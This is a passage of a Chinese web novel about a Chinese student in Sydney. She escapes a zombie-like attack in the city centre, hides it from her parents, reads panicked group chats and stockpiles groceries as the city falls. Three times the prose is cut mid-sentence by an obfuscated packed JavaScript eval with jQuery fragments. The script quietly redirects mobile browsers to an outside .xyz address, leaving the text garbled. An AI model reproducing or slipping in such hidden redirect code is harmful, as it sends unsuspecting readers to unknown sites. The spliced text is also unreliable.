地从马桶上下来。她的双腿麻到根本站不起来,腿软的跪在墙上,努力的撑着发软的身子,浑身发抖。
她闭着眼睛,靠着墙,咬着发抖的嘴唇深呼吸。十来下深呼吸后,她小声抽着气,重新踩在马桶上,颤颤巍巍的透过顶上的门缝往外看。
光洁的地面上有些碎肉,四处,墙壁上都是溅开来的大片血液,可想而知刚才外面发生了怎样的冲突。
但,没有人在外面,一切很安静。
程水缓慢的拧开门锁,动作轻微的来到厕所门口。门上有个大凹陷,不知是否是刚才剧烈的‘砰’声导致的,她满脑子只有跑,快跑,赶紧跑,强撑着探出头,观察着两边的路。
墙壁,地面,全是飞溅的深黑血液和玻璃碎片,橱窗被砸碎,不少物品似乎被拿来当做投掷的武器,七零八落的掉在地上,滚上一身泥泞和血液。
程水控制不住地牙齿咯格作响,她转头看了看四周,走一段路,斜前方有个旋转楼梯,上去就能到一楼出口。
没时间犹豫,她悄悄地来到过道,轻轻踩上旋转楼梯。余光似乎瞥见一个浑身是血的人影,孤零零的站立在远处,垂着头,程水心中一紧,动作更快的上了楼。
她很快听见了警车刺耳的警报声,看见了防暴用的盾牌,严阵以待的围住了楼梯的出口,还有不少拿着黑漆漆的枪的特警,戴着面罩,观察着四周。
“有幸存者!”楼梯外面不远处的一个女特警拿着对讲机,严肃的靠近她,“你还好吗?”
程水的泪水即刻脱框而出,她哽咽着被迎进防暴盾牌给她让出的一条小路,浑身发软的被特警围住。周围已经用警戒线围了起来,许多市中心的民众被驱散着离开,她看见其他的楼梯口也有几个一脸惊恐的人浑身酸软的被特警架起来带出。
“立刻撤离,这里发生了恐怖袭击事件。”特警严肃的大声说道:“立刻撤离,听到没有?!”
程水哭的视线模糊,她想问特警到底发生了什么,但根本组织不出有逻辑的英文语句,只能语无伦次的点头。
“我再说一遍,立刻撤离!”
她根本说不清自己是如何来到外面的,各种记者播报的声音,快门声,特警粗暴的吼声,还有哭声包围了她,等她有意识的时候,自己已经跟着人群走出了维多利亚女王大厦的范围,后面停着武装车和鸣笛的警车。
她哭的几乎哽咽,浑身都在控制不住地发抖,仿佛才想起来似的,拿出手机,一边擦着雨水一边点开打车软件。
都这个时候了,就不节省那三瓜俩枣了,必须打车回去。
她此刻那个后悔啊,早知道从学校出来的时候就打车了,何必还坐火车?为了省50刀的打车钱,差点死在女王大厦。
————
市中心太混乱了,网络打车接不上人,程水费了好大的力气才拦下了一辆出租车,绕远路回北悉尼。
司机是一个中东人,车内播着令人摇头晃脑的南亚DJ,浓重的车内香薰和温暖的空调围绕着程水,他哔哩吧啦的用口音浓重的英语询问她市中心出了什么事,而她浑身湿透,黑发黏腻的贴在脖子上,紧握着手机,分不出任何心思回答他。
等车平稳的驶过市中心,往北悉尼的方向开后,她紧绷的脊背才慢慢放松下来,悬着的心才重新回到肚子里。
她打开通讯软件,点开置顶。
【程水不喝水:妈】
【程水不喝水:(哭泣)(哭泣)(哭泣)】
那边回的很快:
【妈咪:发生啥了?(疑惑)】
看着信息,程水再也憋不住了,泪水夺眶而出,她在车后座哭的上气不接下气,鼻涕眼泪横流的满脸都是,她也顾不上擦,一边抽泣一边打字。
【程水不喝水:(哭泣)(哭泣)(哭泣)(哭泣)(哭泣)】
她刚要打今天死里逃生维多利亚女王大厦的事情,又想起了什么,打字的手慢慢停下,缓缓按删除键,把草稿里的内容都删掉了。
【程水不喝水:上课好累(哭泣)不想上学了】
【妈咪:(偷笑)(捂嘴笑)上学就是这样的嘛,下课后去吃点好的】
悉尼发生这样严重的恐怖袭击的事件,她不想让父母知道自己居然亲身经历了危险,让他们担心。反正没死,也没受伤,不能让他们在国内也心神不宁。程水慢慢冷静下来,她抹了把脸,很委屈的发消息。
【程水不喝水:我要吃好多,吃特别贵的】
【妈咪:钱够吗?再给你转点?】
【妈咪:没事(偷笑),年底回国了,带你去吃好的(微笑)】
【程水不喝水:好。】
倾盆的暴雨还没有缓和的迹象,道路上熙熙攘攘的车和平常似乎没什么两样,在暗沉的天空下亮起了红色白色的灯,悉尼城区的人像密密麻麻的蚂蚁,人头攒动,偶尔有几处爆发了浓烟和警车红蓝的灯光,但拉远了看,又好像只是蚂蚁的细微挣扎。
4. 可以等我毕业再末世吗?
等程水被渴醒,已经是晚上11点了。
她在黑暗的房间里摸索着自己的手机,被屏幕的光刺的睁不开眼。她又摸索着打开房间的灯,低低的咳嗽了两声,给自己倒了一杯烧水壶里的温水。
经历了恐怖和惊吓,在外面被淋的浑身湿透后,她浑浑噩噩的回了家,匆匆洗了个热水澡就一头栽倒在床上昏睡过去,睡的不省人事。
她揉着眉心,脸色惨白,想起下午的惊魂一刻,还是隐约想吐。
程水划开手机,眼睛略微睁大了,软件上竟然有99+的小红点!点开一看,是她加的悉大校友群,打开软件的过程中,手机还在持续不断地震动着。
她初到悉尼的时候,在小某书上加了很多同去悉尼的同学,又跟着介绍进了不少薅羊毛群,出闲置群,社交打本群等等。
一开始她还觉得庆幸,能在异国他乡获得帮助,后来不停地收到代写的好友申请,以及吃了几个莫名其妙群里的撕逼大瓜之后,那份热情便彻底消退。
很快她就退了群,只剩下几个平时安静,但有事能讨论的校友群。
此刻,群内仍然在源源不断的弹出令人惊慌的消息。
她翻到最顶上,从一开始读:
【有人知道Central火车站被封了走哪边回北悉尼吗?刚写完essay出来看到警车和警戒线天都塌了……】
【好命苦,兄弟,这才第几周】
【我们universityofusleepudie不是一直这样么,不过火车站那边发生了什么,好多警车】
【怎么回事,一个个都在图书馆昏天黑地到这种程度没人看小某书吗?都刷疯了!】
【?】
【什么情况】
【我以为是旧的帖子都被顶出来了】
【???发生什么了】
【群里怎么这么多潜水的】
【大规模恐怖袭击啊!机场,火车站,市中心那一块是重灾区,整个市政厅门口现在全是特警】
【?啊????】
【坦白讲我还是第一次看到悉尼的警察这么严阵以待,就位速度这么快】
【什么恐怖袭击啊?谁袭击澳大利亚啊?我们这种鸟不拉屎的土地方还有人在乎吗,凭什么啊!】
【难不成是想袭击美国导航错方向了吗】
【我头发掉光了也想不到我们袋鼠国有任何值得恐怖袭击的地方】
【我朋友在市政厅门口,现场看到满地都是被枪击倒地的尸体,她在警戒线外面看到有人朝警察扑过去,啪啪啪十几人的子弹就全打过去了,跟雷鸣一样响】
【…救命】
【逝者安息】
【还有人在city吗?速速开麦看看什么情况啊】
【还好今天下雨懒得出门……我的天这都什么事啊】
【(截图)7News刚刚直播:警方暂未说明细节,呼吁市民远离市中心区域,待在家中】
【(视频)(视频)(视频)】
【现场拍的(惊恐)】
视频1:
两个女生在市中心乐茶门口录视频自拍,有一个满脸是血的人浑浑噩噩的走在街上,东倒西歪,衣服破破烂烂,镜头扫到他缓缓靠近一家奶茶店门口聚集的人群。
随即,刺耳的尖叫声爆发,镜头开始晃动,两个女生不耐地转头,却仿佛看到了什么可怕的东西,惊恐地握着手机开始狂奔……视频停止。
寒意弥漫,鸡皮疙瘩顺着皮肤一直到头顶,程水浑身僵直,呼吸仿佛静止。
而剩下的两个视频已经打不开了。
【这到底是出什么事了……有点怕】
【不会是进人群举枪扫射了吧……救命我这辈子都没遇到过这样的事】
【天啊……】
【国内也报道了(截图:澳洲恐怖袭击——受害者或达千人)】
【祈祷赶紧控制住情况】
【+1线下midterm还没考,不考doublepass就无了】
悉尼大学一共是两个学期,期中考试,也就是midterm一般在九月底,或者十月初开考,各个专业略有不同。有些专业期中考试只用提交essay,而有些专业需要线下纸质考试。
doublepass的意思是,必须要期中考试达到50%及格,期末也要达到50%及格,否则,视为挂科。
挂科是个对留子来说很晦气的词语,也是大部分留子在大学一生都绕不开的折磨。
和很多国内大学挂科略有不同,悉尼大学的挂科并非只用教补考费补考,而是要把整个学科重新学一遍,也就是说——再交一遍一学期十几万人民币的学费。
为了钱和面子,程水就算是死,也从不缺席考试,万一学校抽风不给补考,她根本没处说理……还有一堆如狼似虎的代写和申诉机构等着从他们留学生身上扒皮喝血,她看到过很多相信申诉机构,把材料和钱递上去就玩跑路的受害者。
【我也还没考(捂脸)】
【我有线下quiz……这下完了】
【学校会不会发邮件通知不用考了啊】
【不知道,邮件箱里没消息】
【祈祷一下midtermcancel】
【+1】
……
【靠!凭什么在老子期中的时候恐怖袭击啊!我熬夜写的presentation怎么拿到学校展示啊?还我学费啊悉尼大学!】
—————
退出群聊,程水家的三人小群里也有极多的未读消息和未接来电,她妈妈和爸爸看到国内的新闻急的要命。
她累到睡着的几个小时,她妈妈一刻不停的给她打电话,x信,跨洋手机电话,她小姨,姑姑,二姨,姨夫的电话也一个接一个的来,她全部没接到。
刚好又是一个电话打过来,她赶紧接了,她妈妈在电话那头静止了一瞬,随即带着哭腔劈头盖脸的指责她,担忧她,问她悉尼什么情况。
程水也根本不知道到底发生了什么,众说纷纭,恐怖袭击的说辞她也是半信半疑,下午她是自己在现场,那野兽般的嘶吼,撕扯血肉的声音……她觉得更像某种传染病。
虽然她自己所有的消息来源都是小某书和x信群聊,但她还是竭尽所能安慰她妈妈,她好好的待在家里上了一天网课,根本没出门,什么事都没有。
她们打了一两个小时的电话,她爸爸在电话旁时不时插嘴,聊到最后,程水的心也安下来不少,变的酸软无比,想到大洋彼岸的家人,她鼻头一酸,思念如荆棘般缠上她的四肢,堵的她就算在对面看不到的情况下,也下意识的一直点着头。
“……顺儿,你这几天就别出门了,听到了没有?刚好咱们家在的城市临时隔离封城了,妈妈和爸爸在家没事干,你陪我们多聊聊天啊,乖,宝贝,妈妈爱你。”
程水一开始的小名叫水儿,念快了就变成了顺儿,她妈妈觉得还挺吉利,从只是听上去像’顺’变成了直接念成‘顺’。
她小时候觉得这名字像在叫狗似的,太土了,现在觉得挺好的,顺顺利利的考过Final,多么美好的祝愿。
不过,封城?
可能是今天经历的事情让她有点敏感,她多问了两嘴,她妈妈“哦”了一声,随意道:“没什么事,过几天又开了,别担心。”
程水皱了皱眉,还要说什么,她妈妈嘱咐道:“多买点吃的在家囤着哈,不要出门了。我再给你转点钱,多买一点,知道不?”
她笑了笑,无奈道:“都几点了,哪有地方开门。”
她妈妈又叮嘱她快点睡,不要熬夜写作业,她爸爸在旁边开玩笑地说年轻人不需要睡觉,被她妈妈说了一通。
等电话挂断,她回味地握着手机,笑意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586109|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挂在嘴角迟迟不肯下去,又过了一会儿,她才抹了抹眼泪,站起来。
她好想自己的父母。
这个学期的final一过,那天下午她就立刻坐飞机回去,一刻也不留在这里受苦。
不过她妈妈说的有道理,她掀开窗帘往外面看去,雨滴还在粗暴地拍打着玻璃,狂风时不时呼啸而过,激起一连串树叶的沙沙声,在一晃而过的闪电白光下摇曳。
她确实是该囤点食物了。
程水打开小冰箱,蹲下来翻翻找找,按照她平常的饭量,上次从超市买的食物能吃个三四天,再久就没热菜了,只能拿干面包占牛油果酱糊弄早午晚饭。
不知道这场恐怖袭击到底什么时候能够平息,三四天,按澳洲速度……够吗?
打开手机,在地图上找到她们家旁边的超市,点开详细,每天最早的开门时间是7点,她定了个6:50的闹钟,想了想,又改成了6:55。
手机一扔,她滚进自己温暖的被窝,窝成一团,沉沉地睡了过去。
————
悉尼时间6点55分。
北京时间4点55分。
程水正在穿袜子,闹钟声猛地响起,她浑身一抖,差点从椅子上摔下去。
忘记关闹钟了。程水懊恼地拿过手机,低低地叹了口气。不知是不是惊吓过度,她晚上突然从睡梦中醒过来,浑身的冷汗,翻来覆去好几次还是睡不踏实,一闭上眼就是一些意味不明的画面,只要响起那些说不清的念头,她就浑身发毛,又烦躁又愤怒。
她关上手机,揣着雨伞,坐电梯下了楼。
电梯里空空荡荡,这个时间确实太早了,又是大雨,大部分人就算有囤货意识,也是等睡醒了再出门采买。
像程水这样总是把她妈的话奉为圣旨,让她囤货她就早起起来购物的人还是很少的。
雨依然没有任何停歇的迹象,灰白的雾气笼罩了天空,建筑的顶部藏在缥缈的黑沉云雾中。超市里黑洞洞的,门紧闭着,程水打开手机,还有一两分钟开门。
她走到另一条路上的咖啡店,有三两人坐在里面喝咖啡。她要了一杯加热的摩卡,老板是个开朗的意大利人,把咖啡递给她,用口音浓重的英语问她是不是去上班。
程水此生恨死smalltalk,她熟知这种情况的正确处理方式,赶紧胡乱点头,低头嘬吸咖啡,果然,意大利老板看她丝毫没有交流热情,耸耸肩和另一个冒雨进来的客人搭起话来。
程水捧着咖啡,热腾腾的液体进入胃袋,整个人都舒服了很多。
“……海港大桥被限制通行了吗?”意大利老板一边擦杯子,一边大声的说:“噢,是的,我不知道,天啊,我得早起做咖啡。”
“…新闻传疯了,伙计,而你还在做咖啡?天啊,我还以为你会关门。”
“世界末日都要有咖啡的,伙计,看过电影吗?”意大利老板爽朗地笑道:“说说吧,怎么回事?我可不信新闻,我从来不看那东西,你知道,骗人的玩意儿。”
客人捧着咖啡,声音变小了许多,程水无意识地靠近了一些,想听更多:“…我在办公室工作,但我妹妹的男朋友,好吧,未婚夫,在悉尼大学的生物实验室工作,所以我知道一些内幕,这两天的事可跟恐怖袭击没半点关系。”
意大利老板惊奇地‘哇哦’了一声,程水握紧了杯子,悄悄靠近了一些。
“他不肯都说出来,你知道,保密协议什么的,但他警告我们这段时间不要出门,至少半个月都不许出去,这怎么可能呢?所以我怀疑,又是病毒什么的——全球感染病——这就是为什么他知道,你知道,他在生物实验室工作。”
意大利老板很夸张地反应了一下,笑着说:“希望不是,那我的咖啡生意就没法做了。”
客人离开了。
超市内部的灯亮了起来,程水放下咖啡,冲过了马路。
5. 喜闻乐见的末日囤货环节
全球感染病吗?
刚开门的超市空空荡荡,程水推着购物车,在冷清的货架之中穿梭,一边回想着咖啡店中听到的话,她脸色凝重的思考着,购物车越推越慢,最后她停在角落,立定在原处思考起来。
咖啡店中的客人自己妹妹的未婚夫……那个词是未婚夫吧?还是未婚妻?是悉尼大学生物实验室的工作人员…可恶,程水就是在悉尼大学学生物的大学牲啊,可惜她只是个大一的底层新生,也从未接触过实验室科研人员这样的高层次人士。
她倒是知道他们专业某个亚裔拿了上学期final的HD*,和某门课教授关系非常好,这学期被招进教授的研究课题组打工了……但这和程水没半毛钱关系,她上学期每门课都是Distinction*,教授明显是看不上她的,这学期倒是有望拿HD,结果出了这么一档子事……
悉尼大学再怎么说也是澳洲顶级院校,生物实验室要是研究出了什么科研结果,倒真有几分可信度。
想想那些视频,想想昨天在女王大厦你看到的场景。
浑身是血,脚步踉跄的人闯进人群;火车站疯狂朝警察攻击的身影;她在厕所里听到的,像野兽一样的嘶吼,满地的鲜血。
……全球传染病。
程水不得不想到一些阴谋论,比如有人研究出了能让人行为变得似野兽一般的病毒,只要感染,就会失去自我意识,疯狂攻击他人。
这让她想到了狂犬病的发病机制。
倘若这种病毒旨在攻击人类的大脑和中枢神经,像狂犬病一样,让大部分人在短时间内变得狂躁,嘶吼,失控,暴力,那的确会造成她遇见过的场景。
可是,澳洲不是一个没有狂犬病的国家吗?
由于和其他大陆隔绝,澳大利亚有古老的生物,也有最严苛的生物保护安全措施,这些都是生物专业的必修课,程水不会不知道,任何动物和植物进入澳洲境内,都需要打疫苗,隔离,直到获得审批。
她也知道有人想把宠物从国内带过来,等了半年都还在第三方国家隔离的情况。
可能这种病毒并不是从动物身上传来的吧。
又或者和狂犬病根本不是一回事。
又或者说,那个客人只是在吹牛,他根本不认识任何在悉尼大学生物实验室工作的人,只是想引起大家对再一次全球感染病的恐惧。
“抱歉,麻烦让一下。”
程水浑身一抖,赶忙让开路。
一个工作人员推着小货车经过她,上面堆满了全是各种袋装泡面和泡面桶。程水定定的看了一会儿,总算想起来自己来超市的目的。
她今天本来只是想买点能坚持一周左右的食物,因为再下周她就得去考midterm,不管怎样都是要出门的。
但不知道是不是下雨和外头的风灌进了室内,导致浑身隐隐发凉的缘故,她改变了主意。
————
程水家旁边是一家连锁超市WWL,东西比较齐全,有坚果区,蛋奶区,肉区,菜区,水果区,零食区,还有生活用品,饮料,冻货,罐头和酱料区域。
她推着购物车先从坚果区开始,坚果是高热量,不容易腐烂,有富含脂肪和蛋白质的食物。人类从呼吸,到跑跳,到思考,任何的动作都需要能量,而坚果富含脂肪,正是身体会第一选择吸收的能量来源。
程水抓起大包的混合坚果放进购物车,有原味的,也有盐味的,她拿了五包左右,犹豫了一下,又再拿了两包。
既然下定决心囤货了,就别舍不得花这点钱了,而且如果一周之内事情平息,坚果还能继续吃啊。
可恶,真的好贵。
她强迫自己忽略掉价格标签,又拿了几包密封真空包装的小袋开心果,丢进了购物车。沿着货架,她边走边丢一些想吃的坚果进去,她甚至往购物车里放了一袋巨大的巴西坚果,每个快有她手指头长了。
接着,她又来到了蔬果区。
琳琅满目的货架上放满了苹果,梨,打折5刀两盒的草莓(为什么一年每个时间段草莓都在打折),菠萝,香蕉等水果;蔬菜呢,程水扫了一眼,西蓝花挺便宜的,我靠蒜贵死了…青瓜也有点贵,土豆和胡萝卜也不错。
她丢了好几盒草莓,三四个苹果,其他的水果也就葡萄好吃一点,她每样都来了一点,购物车底部登时堆满了。蔬菜里,程水买了不少土豆,土豆泥,炒土豆丝,土豆炖牛肉都很好吃,家里的洋葱和蒜都没了,她犹豫了片刻,还是只买了洋葱。
对不起,蒜哥,你的价格我还是高攀不起。
便宜好做的蔬菜她也一样装了一点,直到只逛了这两个区就把购物车塞的差不多了,她才停手。她估摸了一下重量,硬提还是提的动的,她把购物车推到结账点。
“早上好。”一个微胖的收银员微笑着朝她打招呼,“需要袋子吗?”
“需要,谢谢。”程水把收银员扫过的食物放进纸袋子里,这些年澳洲开始全线推动环抱购物袋,所有连锁超市的购物袋都变成了这种薄的吓人的纸袋子,每个袋子还得收0.3刀,程水只要了两个,她感受了一下重量,核心用力,努力往上一拔——
勉强可以,她松了口气又放下了。收银员说:“你需要帮助吗?”程水摇摇头,她不太习惯接受任何人的好意,哪怕只是随口一问。
付完钱,她短暂心疼了一下自己如流水般从银行溜走的钱,心神就被两只手臂上挂着的沉重购物袋夺走了,她憋的脸色通红,一只手抖着撑着雨伞,过了马路,进了公寓,她马上把手上的购物袋放在电梯的地板上,甩了甩麻木的双臂,等电梯门开了又一鼓作气提回了家。
紧接着,她又重新跑下了楼,进入超市。
…其实她可以通过外卖软件在超市下单,接着有专门的超市配送人员会给她送来,但程水是特别务实的一个人,或者说,老实
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586110|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的一个人。她总会觉得,万一配送人员出了什么问题,她是不是还得找超市argue,万一账单有问题,她是不是得找外卖软件argue,万一他们配的货不是自己想要的呢?澳洲出现以上任何一种差池都是普通的日常,不管找谁抱怨,那人都会以“哎,澳洲是这样的,你忍忍吧,太正常了。”结尾。
为了避免这样恼人而且解决要拖很久的问题,程水一直都是力所能及的干自己能干的所有事。
比如,她尽量自己做饭,尽量自己坐公共交通去学校,就算这样费时费力,远远不及用软件行个方便,但手上的菜勺是自己的,走向学校的脚步也是自己控制的,她不用虚无缥缈的等着任何人在某个时间,在她焦急到无法忍耐了才轻飘飘的出现,所以她喜欢这样,哪怕很累。
好吧,她其实就是怕麻烦。
如果因为大雨,没有配送人员,她要一直焦急地等待到晚上,那她为什么不趁有时间大早上自己都买完?
再次进入超市,程水推着购物车绕过坚果区和蔬果区,来到了蛋奶区。
澳洲的牛奶是一向很出名的,某家奶粉甚至被程水妈妈点名要求程水年底带两罐回来,但程水不大爱喝牛奶,更别提这东西得放冰箱,就她房间那个小冰箱,1L的牛奶装进去,其他的东西就得啪全摔出来。
牛奶,pass。
奶酪和酸奶呢……程水挺爱吃酸奶的,她放了一些儿童酸奶进购物车,那种小不占地方,袋装而非罐装的酸奶。她之前买过和她脸一样大的一罐希腊酸奶,吃了两周都没吃完,再吃就酸了,拉了三天肚子,从那之后,她就只买这种两三口就能喝完的。
至于奶酪,还是算了吧。太臭了。
不过这个区域还有买那种特别干的,配酱吃的三角玉米片和硬饼干,嚼起来又脆又香,虽然很硬,但是越嚼越有一股麦子的浓香。她一想到那种味道就开始流口水,狂放了好几包进购物车。
紧接着,她推着购物车来到了她最爱的地方,泡面罐头区。
当然了,她还是很爱吃老坛酸菜牛肉面或者汤达人的,但悉尼的连锁超市里并不那么与时俱进,只有国外牌子的泡面,是那种青草绿和白色的包装,加上淡黄色的面条,令人毫无食欲。一点都没有。
程水本来有点饿,看到这泡面的包装,登时饱了。
她目前在超市的最爱还是辛拉面,这款泡面,又香又辣,热气腾腾的混着汤一起喝下去,有时候她还要加温泉蛋,橙黄色的蛋液混合进红色的汤底,令人食指大动。她毫不犹豫的往购物车里塞了辛拉面,除了这款以外,越南捞面味道也很好,因为是干拌的,所以所有的调料都和面条紧紧裹在一起。
除了这两款以外,别的都是程水踩过的超级大雷,雷鸣中的雷鸣,哪怕程水饿了三天三夜,她都不会想吃的泔水之流。
程水咬牙切齿的扫过那一排青青绿绿黄黄的包装,又装了一包辛拉面。
6. 美好囤货中……爆炸! 我们是同胞……
随着时间一分一秒过去,超市里的人也越来越多。
程水专心致志的挑着各种耐存的罐头,金枪鱼,番茄豆,三文鱼,炖奶玉米粒…这是她跑超市的第三趟,堆得满满的房间令她满足感大发,零食,高能量的士力架,巧克力,她统统都买了一大堆,还有些止痛药,矿泉水,她都努力抗回了家。
总之,这是她最后一趟,程水用袖口擦了擦额头上的汗,在这之后,她就要好好在家里待到下周,一直到不得不出门为止。
但,人是不是有点太多了?
她皱着眉,放下手里还在端详的罐头,看向货架四周涌动的人头。
不知是不是她的错觉,按理来说,大雨的工作日中午,超市里就算不是冷冷清清也不该有太多的人,大家不是要工作就是要上学。但此时此刻,越来越多的人涌进超市,各个面色凝重,动作焦虑,从货架上扫下物品的手不比程水慢多少。
“哎!你!抱歉——你?!”货架另一头突然爆发了激烈的争吵,程水吓了一跳,她轻轻探头,看见另一头,一个白人老头霸道地扯住了一个印度男生的衣服,他指着印度男生手里的厕纸,言辞不善地道:“你撞了我,还把我要拿的东西拿走了?回到你的国家去,现在,把东西给我。”
两人拉拉扯扯,程水只敢用余光观察着,双手紧紧地握着购物车的把手。
“不,不。这没道理。发生这样的事,我真的需要这个,好吗?”
“是的,是的!我们都被那些该死的东西追逐了,听着,我是先来的,现在给我——”
该死的东西追逐……?有根刺似乎重重扎了下程水的心脏,她有些恐慌的翻着衣服的口袋,打开了手机,即将划开屏幕的时候又有些犹豫。
她一想到要打开手机,这两天铺天盖地的坏消息仿佛让她患上了ptsd,她几乎是有点自欺欺人的觉得,只要不打开手机,她将东西买完,待在家里就可以万事大吉。
仿佛坏事都是从刷手机开始的。
她知道这很没道理,这就像老人去医院,只要去了就是坏事,不去就没事。或者像被网暴的受害者,既然打开手机就都是坏消息,那还不如不打开。
程水对这样的方法熟门熟路,前几年,全球传染病大流行,每天打开消息就是封锁,饥饿,灾害,全国各地感染病增长人数,她每天都很焦虑忧心,直到她有好几天都没有打开手机,世界对她才仿佛清净了。
“抱歉。”
有人匆匆忙忙的路过她,撞了下她的手,随口道了歉,焦急地跑向其中一个货架。
程水下意识地也跟着道歉,被撞到的手指弯了弯,她划开手机,打开小某书,心里的预感仿佛被证实了似的,她所期盼的恐怖袭击事件平息根本没做到,整个悉尼,要沦陷了。
【!!紧急警告所有悉尼留子!!待在家中!!!】
内容:
【!!!!昨日悉尼市中心遭受恐怖袭击,火车站,海港大桥,除偏远地区外所有路线全部关闭,悉尼特警尝试控制受灾范围,警车,消防队,特殊部队全线封锁市中心,遣散附近逗留行人,防止受灾范围扩散至悉尼其他区域。
今早八点,市中心正式宣告失控,所有悉尼特警已经撤离市中心区域,包括wynard,townhall,central,redfern四个大站,所有住在这几个区的留学生,切记一定不要出门,绝对不要出门,如若遇见行为诡异的人,一定要第一时间远离。
所有人扩散这条帖子!!不要再尝试进入市中心区域!!】
配图:
无人机航拍市中心区域,高楼下,无数行尸走肉般诡异的人摇摇晃晃地行动,惊慌逃难的人很快被追上,到处都是喷溅的血迹,尸体,断裂的肢体,打砸的商店碎片,有消防车尝试给烧着熊熊火苗的商店内部灭火,水柱很快被纷涌而上的,行为疯狂的人给堵住了。
人间炼狱。
程水能看到那些熟悉的店铺,那家她很爱喝的某歌手开的奶茶店,门口玻璃上破了个大洞,无辜可怜的店员尖叫着被举止疯狂的人拖了出来,无人机拍到了大片飞溅开来的血液。
市中心的街道轻轨的轨道上横七竖八的都是衣衫褴褛的尸体,面目狰狞地盯着俯视着它们的无人机。
血腥,反胃。程水紧紧捂住了嘴,不可置信地看着那六个字:“正式宣告失控”。
怎么可能呢?这怎么可能呢?
一个国际化都市的市中心,商业和政治的中心,悉尼政府一定会排最强力的警力保护市中心,她看到了大量的警车和特种部队才会出动的防暴用车,为什么这样都控制不住?到底是为什么?
肝胆俱裂,程水此刻开始了真正的恐慌。
这并非只是小某书,网络流言,大家茶余饭后的揣测,程水也不能够再漠不关心,只想着离自己遥远就算了,这是真实发生的,离她不过几公里的距离————悉尼警方撤离了,悉尼全市彻底宣告失控。
不到万不得已,没有任何一个政府会希望这样的消息传出去,这会让民众多么的恐慌?!怪不得这么多人突然涌入超市,此刻再不囤货,还要到什么时候?!
程水再刷新了一次,这篇帖子因为涉及违规内容已经消失了。
可惜这没用,层出不穷的帖子,带着夸张的感叹号刷屏了她的小某书,所有人都知道发生了什么了,每一个在悉尼的人都在震惊,都在不可置信,害怕和焦虑,哪怕昨天发生了恐怖袭击,也没有人真的会相信悉尼会就此失控。
发达国家的一线城市,如此不堪一击。
【救救我,我还在市中心,我躲在地下商场的更衣室里了,暂时还没有被那些东西发现,我快要饿的晕倒了,救救我,救救我。】
【我也还在市中心,昨天晚上封锁后警方根本不再救人了,我被困在60层的大厦里,我只是回公司取个文件,已经完全回不去了】
【救救我!!】
【我该怎么办,我在市中心的酒店里,门外就有那些疯了的人,我听的到他们的脚步声,五分钟之前有个人冲出去被咬死了,惨叫声好大……我不想死。】
【悉尼警方为什么撤退了?市中心至少还有万人受困,为什么就这样撤退了?】
【求求了,谁在中国城?我被困在我们餐厅二楼的厕所了,谁能救我出去,有偿报答。】
【救救我,救救我,救救我】
程水快速翻过这些评论,她的手指无意识地扣紧了手机后壁,眼神凝重的要滴出水来,翻到越来越多的求助帖,她的心就跟被铲雪车碾过一样,心率不齐的跳动。
这些都是她的同胞。
她从来没这么清楚的意识到,每个受困的人都是有意识的,他们不是新闻里轻飘飘的一串受害人数字,也不是电影里想赚人眼泪的身影,更不是和她没一点关系的陌路人。
她初到悉尼还没满完整一年,平常也没什么机会接触移民了很久的华裔,或者别的中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586111|171759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国人。残忍一点说,她总有种,那些人和我有什么关系的想法。就像新闻里报道哪个国家哪个地区爆发战争,多少人死在子弹下,她还不是该干嘛得干嘛,想办法继续生活下去。
哔——————!哔——————!哔——————!
防空警报响了,声音响彻云霄,整个悉尼都回荡着警告的铃声。
她浑身颤抖,不顾闻声更加恐慌的其他市民是如何在慌张中撞到了她,机械地划着手机。
在她和所有人都在经历危难的时刻,她此刻咂摸出了一点‘同胞’的滋味,明明她没有被困在市中心,但她仿佛跟着被困在那了,她无法想象那些努力生活着的同胞们,早起上班,早起上学,在总是晚点的公交车上昏昏欲睡,此刻被困在狭小的空间里,抱着手机发出一条又一条绝望的求助消息时有多么无助。
她能看到自己,如果她昨天没有顺利从维多利亚女王大厦离开,她可能还在那个锈味和尿味的厕所里,颤抖着抱着手机求助。
她握紧了手机,说不出话来。
轰——!
巨大的爆炸声在耳边震耳欲聋的炸响,一朵浓黑发红的蘑菇云缓缓升上天空,钢筋建筑轰塌在地,一层层黄黑翻滚的气尘卷向天边,从超市的窗户里看到缓缓升起来的黑烟。
轰隆隆——!
炸响的雷鸣,闪电霎那间照亮了半边的天空,紫黑的云雾翻涌着,雨停了一瞬,紧接着,巨大的暴雨劈头盖脸的轰在地面上,劈里啪啦。
程水愣愣地看着那朵黑红的蘑菇云笼罩了整个超市的玻璃窗,一声比一声高的惊恐尖叫在室内响起,暴乱的人群急切地从超市的货架上抢着物品,程水被挤到了一边,她咽了咽口水,往外面看去。
